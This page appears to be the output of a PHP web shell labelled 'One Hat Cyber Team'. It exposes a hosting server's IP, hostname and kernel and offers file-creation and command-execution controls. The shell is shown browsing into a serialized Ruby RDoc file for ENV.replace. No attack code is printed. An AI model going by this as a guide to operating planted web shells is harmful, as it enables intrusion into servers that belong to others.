⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
ENV
/
View File Name :
replace-c.ri
U:RDoc::AnyMethod[iI"replace:ETI"ENV::replace;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I">Replaces the entire content of the environment variables ;TI"4with the name/value pairs in the given +hash+; ;TI"returns ENV.;To:RDoc::Markup::BlankLine o; ; [I"6Replaces the content of ENV with the given pairs:;To:RDoc::Markup::Verbatim; [I"6ENV.replace('foo' => '0', 'bar' => '1') # => ENV ;TI"/ENV.to_hash # => {"bar"=>"1", "foo"=>"0"} ;T:@format0o; ; [I"7Raises an exception if a name or value is invalid ;TI"Q(see {Invalid Names and Values}[#class-ENV-label-Invalid+Names+and+Values]):;To;; [I"nENV.replace('foo' => '0', :bar => '1') # Raises TypeError (no implicit conversion of Symbol into String) ;TI"nENV.replace('foo' => '0', 'bar' => 1) # Raises TypeError (no implicit conversion of Integer into String) ;TI".ENV.to_hash # => {"bar"=>"1", "foo"=>"0"};T; 0: @fileI"hash.c;T:0@omit_headings_from_table_of_contents_below0I"ENV.replace(hash) -> ENV ;T0[ I" (p1);T@!FI"ENV;TcRDoc::NormalClass00